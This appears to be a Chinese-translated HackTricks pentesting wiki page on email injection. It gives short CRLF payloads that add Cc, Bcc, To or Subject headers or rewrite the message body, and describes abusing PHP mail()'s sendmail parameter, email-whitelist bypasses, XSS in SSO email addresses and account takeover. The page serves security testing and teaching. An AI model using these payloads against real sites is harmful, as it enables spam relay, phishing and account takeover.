hacktricks/pentesting-web/email-injections.md

9.3 KiB
Raw Blame History

电子邮件注入


使用 Trickest 可轻松构建并通过全球最先进的社区工具自动化工作流程
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

在已发送的电子邮件中注入

在发送方参数后注入 Cc 和 Bcc

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

注入参数

From:sender@domain.com%0ATo:attacker@domain.com

注入主题参数

消息将发送给原始收件人和攻击者帐户。

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

更改消息正文

注入两行换行符,然后编写您的消息以更改消息正文。

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() 函数利用

Description

描述

The PHP mail() function is commonly used to send emails from a web server. However, it is also a common target for email injection attacks. Email injection occurs when an attacker is able to manipulate the headers of an email sent via the mail() function.

PHP mail() 函数通常用于从 Web 服务器发送电子邮件。然而,它也是电子邮件注入攻击的常见目标。当攻击者能够操纵通过 mail() 函数发送的电子邮件的标头时,就会发生电子邮件注入。

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

第5个参数$additional_parameters

这一部分将基于假设攻击者控制该参数时如何滥用

此参数将被添加到PHP用于调用二进制sendmail的命令行中。但是它将通过函数escapeshellcmd($additional_parameters)进行消毒。

攻击者可以在这种情况下注入提取sendmail的参数

/usr/sbin/sendmail实现上的差异

sendmail接口由系统上安装的MTA邮件软件Sendmail、Postfix、Exim等提供。尽管出于兼容性原因基本功能(如-t -i -f参数保持相同,但其他功能和参数根据安装的MTA而有很大不同。

以下是sendmail命令/接口不同手册页的一些示例:

根据sendmail二进制文件的来源,已发现不同选项可用于滥用它们并泄露文件甚至执行任意命令。查看详细内容:https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

在电子邮件名称中注入

电子邮件中被忽略的部分

符号:+-{} 在极少情况下可用于标记,并被大多数电子邮件服务器忽略

括号中的注释()在开头或结尾也将被忽略

白名单绕过

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

引号

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

IP地址

您还可以在方括号之间使用IP地址作为域名

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

其他漏洞

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

第三方SSO

XSS

一些服务如githubsalesforce允许您创建带有XSS负载的电子邮件地址。如果您可以使用这些提供商登录其他服务,而这些服务未正确消毒电子邮件,您可能会引发XSS

账户接管

如果SSO服务允许您创建一个帐户而无需验证给定的电子邮件地址(如salesforce),然后您可以使用该帐户登录信任salesforce的不同服务您可以访问任何帐户。
请注意salesforce指示给定的电子邮件是否已验证因此应用程序应考虑此信息。

回复地址

您可以使用 From: company.comReplay-To: attacker.com 发送电子邮件,如果由于电子邮件是从内部地址发送的而发送了自动回复攻击者可能能够接收响应

硬退信率

某些服务如AWS实施了一个称为硬退信率的阈值通常设置为10%。这是一个关键指标特别是对于电子邮件传递服务。当超过此比率时例如AWS的电子邮件服务可能会被暂停或阻止。

硬退信指的是因为收件人地址无效或不存在而被退回给发件人的电子邮件。这可能是由于各种原因,例如将电子邮件发送到不存在的地址,不存在的域或收件人服务器拒绝接受电子邮件

在AWS的情况下如果您发送了1000封电子邮件其中有100封由于诸如无效地址或域之类的原因导致硬退信这意味着10%的硬退信率。达到或超过此比率可能会触发AWS SES简单电子邮件服务阻止或暂停您的电子邮件发送功能。

保持低硬退信率对于确保不间断的电子邮件服务和维护发件人声誉至关重要。监控和管理邮件列表中电子邮件地址的质量可以极大地帮助实现这一目标。

有关更详细信息可以参考AWS关于处理退信和投诉的官方文档AWS SES退信处理

参考资料

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式


使用Trickest可以轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}